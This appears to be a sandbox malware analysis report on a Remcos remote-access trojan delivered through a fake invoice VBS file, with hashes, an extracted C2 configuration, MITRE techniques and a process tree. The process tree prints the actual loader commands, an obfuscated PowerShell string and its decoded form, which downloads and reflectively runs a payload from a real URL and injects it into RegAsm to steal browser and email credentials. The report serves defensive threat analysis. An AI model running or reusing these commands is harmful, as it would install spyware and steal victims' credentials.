remcos | eb649852277e737fe080956068d124299fdc7ff604436217d4438b86e3057d16

Analysis

max time kernel
147s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
12-09-2024 10:04

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

REMIT120924001INV.vbs
Size

235KB
MD5

98558b2ec2e09d0a52805237acac44a1
SHA1

2256fc67c1b5bb8d9ef9c409d28ce9f3bd8afcfa
SHA256

dd3734aa5d87840394392fa9969dde8187f2ae2c27ff1b897c0929f012e079c8
SHA512

4c23f8ae54375aacef98360f0a0a763aa232014a7732857f917109d62e1295aee351ffd6c6a6069acb0d5fc2bdd92c83faa320d5201bfe26186290d304f4ad89
SSDEEP

6144:FlHwv///MsXttab5C/jPe3CIFn42RilWv:FlHG///1Xtkb5CbPe3CKNklc

Score

10^/10

remcos remotehost collection credential_access discovery execution rat spyware stealer

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

exe.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

Extracted

Family

remcos

Botnet

RemoteHost

camzeroconnect.duckdns.org:14645

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-GT4655
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/4936-54-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/856-53-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/2000-55-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/2000-55-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/4936-54-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 2 IoCs

flow	pid	Process
8	1260	powershell.exe
23	1260	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3880	powershell.exe
1260	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation	WScript.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	RegAsm.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 1260 set thread context of 3192	1260	powershell.exe	98
PID 3192 set thread context of 4936	3192	RegAsm.exe	99
PID 3192 set thread context of 2000	3192	RegAsm.exe	100
PID 3192 set thread context of 856	3192	RegAsm.exe	101

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
3880	powershell.exe
3880	powershell.exe
1260	powershell.exe
1260	powershell.exe
4936	RegAsm.exe
4936	RegAsm.exe
856	RegAsm.exe
856	RegAsm.exe
4936	RegAsm.exe
4936	RegAsm.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
3192	RegAsm.exe
3192	RegAsm.exe
3192	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3880	powershell.exe
Token: SeDebugPrivilege	1260	powershell.exe
Token: SeDebugPrivilege	856	RegAsm.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 4424 wrote to memory of 3880	4424	WScript.exe	85
PID 4424 wrote to memory of 3880	4424	WScript.exe	85
PID 3880 wrote to memory of 1260	3880	powershell.exe	88
PID 3880 wrote to memory of 1260	3880	powershell.exe	88
PID 1260 wrote to memory of 3192	1260	powershell.exe	98
PID 1260 wrote to memory of 3192	1260	powershell.exe	98
PID 1260 wrote to memory of 3192	1260	powershell.exe	98
PID 1260 wrote to memory of 3192	1260	powershell.exe	98
PID 1260 wrote to memory of 3192	1260	powershell.exe	98
PID 1260 wrote to memory of 3192	1260	powershell.exe	98
PID 1260 wrote to memory of 3192	1260	powershell.exe	98
PID 1260 wrote to memory of 3192	1260	powershell.exe	98
PID 1260 wrote to memory of 3192	1260	powershell.exe	98
PID 1260 wrote to memory of 3192	1260	powershell.exe	98
PID 1260 wrote to memory of 3192	1260	powershell.exe	98
PID 1260 wrote to memory of 3192	1260	powershell.exe	98
PID 3192 wrote to memory of 4936	3192	RegAsm.exe	99
PID 3192 wrote to memory of 4936	3192	RegAsm.exe	99
PID 3192 wrote to memory of 4936	3192	RegAsm.exe	99
PID 3192 wrote to memory of 4936	3192	RegAsm.exe	99
PID 3192 wrote to memory of 2000	3192	RegAsm.exe	100
PID 3192 wrote to memory of 2000	3192	RegAsm.exe	100
PID 3192 wrote to memory of 2000	3192	RegAsm.exe	100
PID 3192 wrote to memory of 2000	3192	RegAsm.exe	100
PID 3192 wrote to memory of 856	3192	RegAsm.exe	101
PID 3192 wrote to memory of 856	3192	RegAsm.exe	101
PID 3192 wrote to memory of 856	3192	RegAsm.exe	101
PID 3192 wrote to memory of 856	3192	RegAsm.exe	101

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\REMIT120924001INV.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4424
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J⍊ ∥ ⤔ ⽴㎤B1⍊ ∥ ⤔ ⽴㎤HI⍊ ∥ ⤔ ⽴㎤b⍊ ∥ ⤔ ⽴㎤⍊ ∥ ⤔ ⽴㎤g⍊ ∥ ⤔ ⽴㎤D0⍊ ∥ ⤔ ⽴㎤I⍊ ∥ ⤔ ⽴㎤⍊ ∥ ⤔ ⽴㎤n⍊ ∥ ⤔ ⽴㎤Gg⍊ ∥ ⤔ ⽴㎤d⍊ ∥ ⤔ ⽴㎤B0⍊ ∥ ⤔ ⽴㎤H⍊ ∥ ⤔ ⽴㎤⍊ ∥ ⤔ ⽴㎤cw⍊ ∥ ⤔ ⽴㎤6⍊ ∥ ⤔ ⽴㎤C8⍊ ∥ ⤔ ⽴㎤LwBp⍊ ∥ ⤔ ⽴㎤GE⍊ ∥ ⤔ ⽴㎤Ng⍊ ∥ ⤔ ⽴㎤w⍊ ∥ ⤔ ⽴㎤D⍊ ∥ ⤔ ⽴㎤⍊ ∥ ⤔ ⽴㎤MQ⍊ ∥ ⤔ ⽴㎤w⍊ ∥ ⤔ ⽴㎤D⍊ ∥ ⤔ ⽴㎤⍊ ∥ ⤔ ⽴㎤LgB1⍊ ∥ ⤔ ⽴㎤HM⍊ ∥ ⤔ ⽴㎤LgBh⍊ ∥ ⤔ ⽴㎤HI⍊ ∥ ⤔ ⽴㎤YwBo⍊ ∥ ⤔ ⽴㎤Gk⍊ ∥ ⤔ ⽴㎤dgBl⍊ ∥ ⤔ ⽴㎤C4⍊ ∥ ⤔ ⽴㎤bwBy⍊ ∥ ⤔ ⽴㎤Gc⍊ ∥ ⤔ ⽴㎤Lw⍊ ∥ ⤔ ⽴㎤y⍊ ∥ ⤔ ⽴㎤DQ⍊ ∥ ⤔ ⽴㎤LwBp⍊ ∥ ⤔ ⽴㎤HQ⍊ ∥ ⤔ ⽴㎤ZQBt⍊ ∥ ⤔ ⽴㎤HM⍊ ∥ ⤔ ⽴㎤LwBk⍊ ∥ ⤔ ⽴㎤GU⍊ ∥ ⤔ ⽴㎤d⍊ ∥ ⤔ ⽴㎤Bh⍊ ∥ ⤔ ⽴㎤Gg⍊ ∥ ⤔ ⽴㎤LQBu⍊ ∥ ⤔ ⽴㎤G8⍊ ∥ ⤔ ⽴㎤d⍊ ∥ ⤔ ⽴㎤Bl⍊ ∥ ⤔ ⽴㎤C0⍊ ∥ ⤔ ⽴㎤dg⍊ ∥ ⤔ ⽴㎤v⍊ ∥ ⤔ ⽴㎤EQ⍊ ∥ ⤔ ⽴㎤ZQB0⍊ ∥ ⤔ ⽴㎤GE⍊ ∥ ⤔ ⽴㎤a⍊ ∥ ⤔ ⽴㎤BO⍊ ∥ ⤔ ⽴㎤G8⍊ ∥ ⤔ ⽴㎤d⍊ ∥ ⤔ ⽴㎤Bl⍊ ∥ ⤔ ⽴㎤FY⍊ ∥ ⤔ ⽴㎤LgB0⍊ ∥ ⤔ ⽴㎤Hg⍊ ∥ ⤔ ⽴㎤d⍊ ∥ ⤔ ⽴㎤⍊ ∥ ⤔ ⽴㎤n⍊ ∥ ⤔ ⽴㎤Ds⍊ ∥ ⤔ ⽴㎤J⍊ ∥ ⤔ ⽴㎤Bi⍊ ∥ ⤔ ⽴㎤GE⍊ ∥ ⤔ ⽴㎤cwBl⍊ ∥ ⤔ ⽴㎤DY⍊ ∥ ⤔ ⽴㎤N⍊ ∥ ⤔ ⽴㎤BD⍊ ∥ ⤔ ⽴㎤G8⍊ ∥ ⤔ ⽴㎤bgB0⍊ ∥ ⤔ ⽴㎤GU⍊ ∥ ⤔ ⽴㎤bgB0⍊ ∥ ⤔ ⽴㎤C⍊ ∥ ⤔ ⽴㎤⍊ ∥ ⤔ ⽴㎤PQ⍊ ∥ ⤔ ⽴㎤g⍊ ∥ ⤔ ⽴㎤Cg⍊ ∥ ⤔ ⽴㎤TgBl⍊ ∥ ⤔ ⽴㎤Hc⍊ ∥ ⤔ ⽴㎤LQBP⍊ ∥ ⤔ ⽴㎤GI⍊ ∥ ⤔ ⽴㎤agBl⍊ ∥ ⤔ ⽴㎤GM⍊ ∥ ⤔ ⽴㎤d⍊ ∥ ⤔ ⽴㎤⍊ ∥ ⤔ ⽴㎤g⍊ ∥ ⤔ ⽴㎤FM⍊ ∥ ⤔ ⽴㎤eQBz⍊ ∥ ⤔ ⽴㎤HQ⍊ ∥ ⤔ ⽴㎤ZQBt⍊ ∥ ⤔ ⽴㎤C4⍊ ∥ ⤔ ⽴㎤TgBl⍊ ∥ ⤔ ⽴㎤HQ⍊ ∥ ⤔ ⽴㎤LgBX⍊ ∥ ⤔ ⽴㎤GU⍊ ∥ ⤔ ⽴㎤YgBD⍊ ∥ ⤔ ⽴㎤Gw⍊ ∥ ⤔ ⽴㎤aQBl⍊ ∥ ⤔ ⽴㎤G4⍊ ∥ ⤔ ⽴㎤d⍊ ∥ ⤔ ⽴㎤⍊ ∥ ⤔ ⽴㎤p⍊ ∥ ⤔ ⽴㎤C4⍊ ∥ ⤔ ⽴㎤R⍊ ∥ ⤔ ⽴㎤Bv⍊ ∥ ⤔ ⽴㎤Hc⍊ ∥ ⤔ ⽴㎤bgBs⍊ ∥ ⤔ ⽴㎤G8⍊ ∥ ⤔ ⽴㎤YQBk⍊ ∥ ⤔ ⽴㎤FM⍊ ∥ ⤔ ⽴㎤d⍊ ∥ ⤔ ⽴㎤By⍊ ∥ ⤔ ⽴㎤Gk⍊ ∥ ⤔ ⽴㎤bgBn⍊ ∥ ⤔ ⽴㎤Cg⍊ ∥ ⤔ ⽴㎤J⍊ ∥ ⤔ ⽴㎤B1⍊ ∥ ⤔ ⽴㎤HI⍊ ∥ ⤔ ⽴㎤b⍊ ∥ ⤔ ⽴㎤⍊ ∥ ⤔ ⽴㎤p⍊ ∥ ⤔ ⽴㎤Ds⍊ ∥ ⤔ ⽴㎤J⍊ ∥ ⤔ ⽴㎤Bi⍊ ∥ ⤔ ⽴㎤Gk⍊ ∥ ⤔ ⽴㎤bgBh⍊ ∥ ⤔ ⽴㎤HI⍊ ∥ ⤔ ⽴㎤eQBD⍊ ∥ ⤔ ⽴㎤G8⍊ ∥ ⤔ ⽴㎤bgB0⍊ ∥ ⤔ ⽴㎤GU⍊ ∥ ⤔ ⽴㎤bgB0⍊ ∥ ⤔ ⽴㎤C⍊ ∥ ⤔ ⽴㎤⍊ ∥ ⤔ ⽴㎤PQ⍊ ∥ ⤔ ⽴㎤g⍊ ∥ ⤔ ⽴㎤Fs⍊ ∥ ⤔ ⽴㎤UwB5⍊ ∥ ⤔ ⽴㎤HM⍊ ∥ ⤔ ⽴㎤d⍊ ∥ ⤔ ⽴㎤Bl⍊ ∥ ⤔ ⽴㎤G0⍊ ∥ ⤔ ⽴㎤LgBD⍊ ∥ ⤔ ⽴㎤G8⍊ ∥ ⤔ ⽴㎤bgB2⍊ ∥ ⤔ ⽴㎤GU⍊ ∥ ⤔ ⽴㎤cgB0⍊ ∥ ⤔ ⽴㎤F0⍊ ∥ ⤔ ⽴㎤Og⍊ ∥ ⤔ ⽴㎤6⍊ ∥ ⤔ ⽴㎤EY⍊ ∥ ⤔ ⽴㎤cgBv⍊ ∥ ⤔ ⽴㎤G0⍊ ∥ ⤔ ⽴㎤QgBh⍊ ∥ ⤔ ⽴㎤HM⍊ ∥ ⤔ ⽴㎤ZQ⍊ ∥ ⤔ ⽴㎤2⍊ ∥ ⤔ ⽴㎤DQ⍊ ∥ ⤔ ⽴㎤UwB0⍊ ∥ ⤔ ⽴㎤HI⍊ ∥ ⤔ ⽴㎤aQBu⍊ ∥ ⤔ ⽴㎤Gc⍊ ∥ ⤔ ⽴㎤K⍊ ∥ ⤔ ⽴㎤⍊ ∥ ⤔ ⽴㎤k⍊ ∥ ⤔ ⽴㎤GI⍊ ∥ ⤔ ⽴㎤YQBz⍊ ∥ ⤔ ⽴㎤GU⍊ ∥ ⤔ ⽴㎤Ng⍊ ∥ ⤔ ⽴㎤0⍊ ∥ ⤔ ⽴㎤EM⍊ ∥ ⤔ ⽴㎤bwBu⍊ ∥ ⤔ ⽴㎤HQ⍊ ∥ ⤔ ⽴㎤ZQBu⍊ ∥ ⤔ ⽴㎤HQ⍊ ∥ ⤔ ⽴㎤KQ⍊ ∥ ⤔ ⽴㎤7⍊ ∥ ⤔ ⽴㎤CQ⍊ ∥ ⤔ ⽴㎤YQBz⍊ ∥ ⤔ ⽴㎤HM⍊ ∥ ⤔ ⽴㎤ZQBt⍊ ∥ ⤔ ⽴㎤GI⍊ ∥ ⤔ ⽴㎤b⍊ ∥ ⤔ ⽴㎤B5⍊ ∥ ⤔ ⽴㎤C⍊ ∥ ⤔ ⽴㎤⍊ ∥ ⤔ ⽴㎤PQ⍊ ∥ ⤔ ⽴㎤g⍊ ∥ ⤔ ⽴㎤Fs⍊ ∥ ⤔ ⽴㎤UgBl⍊ ∥ ⤔ ⽴㎤GY⍊ ∥ ⤔ ⽴㎤b⍊ ∥ ⤔ ⽴㎤Bl⍊ ∥ ⤔ ⽴㎤GM⍊ ∥ ⤔ ⽴㎤d⍊ ∥ ⤔ ⽴㎤Bp⍊ ∥ ⤔ ⽴㎤G8⍊ ∥ ⤔ ⽴㎤bg⍊ ∥ ⤔ ⽴㎤u⍊ ∥ ⤔ ⽴㎤EE⍊ ∥ ⤔ ⽴㎤cwBz⍊ ∥ ⤔ ⽴㎤GU⍊ ∥ ⤔ ⽴㎤bQBi⍊ ∥ ⤔ ⽴㎤Gw⍊ ∥ ⤔ ⽴㎤eQBd⍊ ∥ ⤔ ⽴㎤Do⍊ ∥ ⤔ ⽴㎤OgBM⍊ ∥ ⤔ ⽴㎤G8⍊ ∥ ⤔ ⽴㎤YQBk⍊ ∥ ⤔ ⽴㎤Cg⍊ ∥ ⤔ ⽴㎤J⍊ ∥ ⤔ ⽴㎤Bi⍊ ∥ ⤔ ⽴㎤Gk⍊ ∥ ⤔ ⽴㎤bgBh⍊ ∥ ⤔ ⽴㎤HI⍊ ∥ ⤔ ⽴㎤eQBD⍊ ∥ ⤔ ⽴㎤G8⍊ ∥ ⤔ ⽴㎤bgB0⍊ ∥ ⤔ ⽴㎤GU⍊ ∥ ⤔ ⽴㎤bgB0⍊ ∥ ⤔ ⽴㎤Ck⍊ ∥ ⤔ ⽴㎤Ow⍊ ∥ ⤔ ⽴㎤k⍊ ∥ ⤔ ⽴㎤HQ⍊ ∥ ⤔ ⽴㎤eQBw⍊ ∥ ⤔ ⽴㎤GU⍊ ∥ ⤔ ⽴㎤I⍊ ∥ ⤔ ⽴㎤⍊ ∥ ⤔ ⽴㎤9⍊ ∥ ⤔ ⽴㎤C⍊ ∥ ⤔ ⽴㎤⍊ ∥ ⤔ ⽴㎤J⍊ ∥ ⤔ ⽴㎤Bh⍊ ∥ ⤔ ⽴㎤HM⍊ ∥ ⤔ ⽴㎤cwBl⍊ ∥ ⤔ ⽴㎤G0⍊ ∥ ⤔ ⽴㎤YgBs⍊ ∥ ⤔ ⽴㎤Hk⍊ ∥ ⤔ ⽴㎤LgBH⍊ ∥ ⤔ ⽴㎤GU⍊ ∥ ⤔ ⽴㎤d⍊ ∥ ⤔ ⽴㎤BU⍊ ∥ ⤔ ⽴㎤Hk⍊ ∥ ⤔ ⽴㎤c⍊ ∥ ⤔ ⽴㎤Bl⍊ ∥ ⤔ ⽴㎤Cg⍊ ∥ ⤔ ⽴㎤JwBS⍊ ∥ ⤔ ⽴㎤HU⍊ ∥ ⤔ ⽴㎤bgBQ⍊ ∥ ⤔ ⽴㎤EU⍊ ∥ ⤔ ⽴㎤LgBI⍊ ∥ ⤔ ⽴㎤G8⍊ ∥ ⤔ ⽴㎤bQBl⍊ ∥ ⤔ ⽴㎤Cc⍊ ∥ ⤔ ⽴㎤KQ⍊ ∥ ⤔ ⽴㎤7⍊ ∥ ⤔ ⽴㎤CQ⍊ ∥ ⤔ ⽴㎤bQBl⍊ ∥ ⤔ ⽴㎤HQ⍊ ∥ ⤔ ⽴㎤a⍊ ∥ ⤔ ⽴㎤Bv⍊ ∥ ⤔ ⽴㎤GQ⍊ ∥ ⤔ ⽴㎤I⍊ ∥ ⤔ ⽴㎤⍊ ∥ ⤔ ⽴㎤9⍊ ∥ ⤔ ⽴㎤C⍊ ∥ ⤔ ⽴㎤⍊ ∥ ⤔ ⽴㎤J⍊ ∥ ⤔ ⽴㎤B0⍊ ∥ ⤔ ⽴㎤Hk⍊ ∥ ⤔ ⽴㎤c⍊ ∥ ⤔ ⽴㎤Bl⍊ ∥ ⤔ ⽴㎤C4⍊ ∥ ⤔ ⽴㎤RwBl⍊ ∥ ⤔ ⽴㎤HQ⍊ ∥ ⤔ ⽴㎤TQBl⍊ ∥ ⤔ ⽴㎤HQ⍊ ∥ ⤔ ⽴㎤a⍊ ∥ ⤔ ⽴㎤Bv⍊ ∥ ⤔ ⽴㎤GQ⍊ ∥ ⤔ ⽴㎤K⍊ ∥ ⤔ ⽴㎤⍊ ∥ ⤔ ⽴㎤n⍊ ∥ ⤔ ⽴㎤FY⍊ ∥ ⤔ ⽴㎤QQBJ⍊ ∥ ⤔ ⽴㎤Cc⍊ ∥ ⤔ ⽴㎤KQ⍊ ∥ ⤔ ⽴㎤7⍊ ∥ ⤔ ⽴㎤CQ⍊ ∥ ⤔ ⽴㎤bQBl⍊ ∥ ⤔ ⽴㎤HQ⍊ ∥ ⤔ ⽴㎤a⍊ ∥ ⤔ ⽴㎤Bv⍊ ∥ ⤔ ⽴㎤GQ⍊ ∥ ⤔ ⽴㎤LgBJ⍊ ∥ ⤔ ⽴㎤G4⍊ ∥ ⤔ ⽴㎤dgBv⍊ ∥ ⤔ ⽴㎤Gs⍊ ∥ ⤔ ⽴㎤ZQ⍊ ∥ ⤔ ⽴㎤o⍊ ∥ ⤔ ⽴㎤CQ⍊ ∥ ⤔ ⽴㎤bgB1⍊ ∥ ⤔ ⽴㎤Gw⍊ ∥ ⤔ ⽴㎤b⍊ ∥ ⤔ ⽴㎤⍊ ∥ ⤔ ⽴㎤s⍊ ∥ ⤔ ⽴㎤C⍊ ∥ ⤔ ⽴㎤⍊ ∥ ⤔ ⽴㎤WwBv⍊ ∥ ⤔ ⽴㎤GI⍊ ∥ ⤔ ⽴㎤agBl⍊ ∥ ⤔ ⽴㎤GM⍊ ∥ ⤔ ⽴㎤d⍊ ∥ ⤔ ⽴㎤Bb⍊ ∥ ⤔ ⽴㎤F0⍊ ∥ ⤔ ⽴㎤XQB⍊ ∥ ⤔ ⽴㎤⍊ ∥ ⤔ ⽴㎤Cg⍊ ∥ ⤔ ⽴㎤JwB0⍊ ∥ ⤔ ⽴㎤Hg⍊ ∥ ⤔ ⽴㎤d⍊ ∥ ⤔ ⽴㎤⍊ ∥ ⤔ ⽴㎤u⍊ ∥ ⤔ ⽴㎤GM⍊ ∥ ⤔ ⽴㎤YwBv⍊ ∥ ⤔ ⽴㎤GU⍊ ∥ ⤔ ⽴㎤bg⍊ ∥ ⤔ ⽴㎤v⍊ ∥ ⤔ ⽴㎤DU⍊ ∥ ⤔ ⽴㎤Ng⍊ ∥ ⤔ ⽴㎤2⍊ ∥ ⤔ ⽴㎤C8⍊ ∥ ⤔ ⽴㎤Ng⍊ ∥ ⤔ ⽴㎤1⍊ ∥ ⤔ ⽴㎤DE⍊ ∥ ⤔ ⽴㎤Lg⍊ ∥ ⤔ ⽴㎤z⍊ ∥ ⤔ ⽴㎤DM⍊ ∥ ⤔ ⽴㎤MQ⍊ ∥ ⤔ ⽴㎤u⍊ ∥ ⤔ ⽴㎤DM⍊ ∥ ⤔ ⽴㎤Mg⍊ ∥ ⤔ ⽴㎤u⍊ ∥ ⤔ ⽴㎤Dg⍊ ∥ ⤔ ⽴㎤OQ⍊ ∥ ⤔ ⽴㎤x⍊ ∥ ⤔ ⽴㎤C8⍊ ∥ ⤔ ⽴㎤Lw⍊ ∥ ⤔ ⽴㎤6⍊ ∥ ⤔ ⽴㎤H⍊ ∥ ⤔ ⽴㎤⍊ ∥ ⤔ ⽴㎤d⍊ ∥ ⤔ ⽴㎤B0⍊ ∥ ⤔ ⽴㎤Gg⍊ ∥ ⤔ ⽴㎤Jw⍊ ∥ ⤔ ⽴㎤g⍊ ∥ ⤔ ⽴㎤Cw⍊ ∥ ⤔ ⽴㎤I⍊ ∥ ⤔ ⽴㎤⍊ ∥ ⤔ ⽴㎤n⍊ ∥ ⤔ ⽴㎤GQ⍊ ∥ ⤔ ⽴㎤ZQBz⍊ ∥ ⤔ ⽴㎤GE⍊ ∥ ⤔ ⽴㎤d⍊ ∥ ⤔ ⽴㎤Bp⍊ ∥ ⤔ ⽴㎤HY⍊ ∥ ⤔ ⽴㎤YQBk⍊ ∥ ⤔ ⽴㎤G8⍊ ∥ ⤔ ⽴㎤Jw⍊ ∥ ⤔ ⽴㎤g⍊ ∥ ⤔ ⽴㎤Cw⍊ ∥ ⤔ ⽴㎤I⍊ ∥ ⤔ ⽴㎤⍊ ∥ ⤔ ⽴㎤n⍊ ∥ ⤔ ⽴㎤GQ⍊ ∥ ⤔ ⽴㎤ZQBz⍊ ∥ ⤔ ⽴㎤GE⍊ ∥ ⤔ ⽴㎤d⍊ ∥ ⤔ ⽴㎤Bp⍊ ∥ ⤔ ⽴㎤HY⍊ ∥ ⤔ ⽴㎤YQBk⍊ ∥ ⤔ ⽴㎤G8⍊ ∥ ⤔ ⽴㎤Jw⍊ ∥ ⤔ ⽴㎤g⍊ ∥ ⤔ ⽴㎤Cw⍊ ∥ ⤔ ⽴㎤I⍊ ∥ ⤔ ⽴㎤⍊ ∥ ⤔ ⽴㎤n⍊ ∥ ⤔ ⽴㎤GQ⍊ ∥ ⤔ ⽴㎤ZQBz⍊ ∥ ⤔ ⽴㎤GE⍊ ∥ ⤔ ⽴㎤d⍊ ∥ ⤔ ⽴㎤Bp⍊ ∥ ⤔ ⽴㎤HY⍊ ∥ ⤔ ⽴㎤YQBk⍊ ∥ ⤔ ⽴㎤G8⍊ ∥ ⤔ ⽴㎤Jw⍊ ∥ ⤔ ⽴㎤s⍊ ∥ ⤔ ⽴㎤Cc⍊ ∥ ⤔ ⽴㎤UgBl⍊ ∥ ⤔ ⽴㎤Gc⍊ ∥ ⤔ ⽴㎤QQBz⍊ ∥ ⤔ ⽴㎤G0⍊ ∥ ⤔ ⽴㎤Jw⍊ ∥ ⤔ ⽴㎤s⍊ ∥ ⤔ ⽴㎤Cc⍊ ∥ ⤔ ⽴㎤Jw⍊ ∥ ⤔ ⽴㎤p⍊ ∥ ⤔ ⽴㎤Ck⍊ ∥ ⤔ ⽴㎤';$OWjuxD = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $Codigo.replace('⍊ ∥ ⤔ ⽴㎤','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3880
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$url = 'https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt';$base64Content = (New-Object System.Net.WebClient).DownloadString($url);$binaryContent = [System.Convert]::FromBase64String($base64Content);$assembly = [Reflection.Assembly]::Load($binaryContent);$type = $assembly.GetType('RunPE.Home');$method = $type.GetMethod('VAI');$method.Invoke($null, [object[]]@('txt.ccoen/566/651.331.32.891//:ptth' , 'desativado' , 'desativado' , 'desativado','RegAsm',''))"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1260
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:3192
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\ytxyligfrrhdqhusuqxghmfrs"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:4936
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\jnkjlaqzfzzibvredbkhszaatidw"
        5⤵
        Accesses Microsoft Outlook accounts
        System Location Discovery: System Language Discovery
        
        PID:2000
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\tppbmlbbthrvdbfiulebvdurcovflfjl"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:856

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
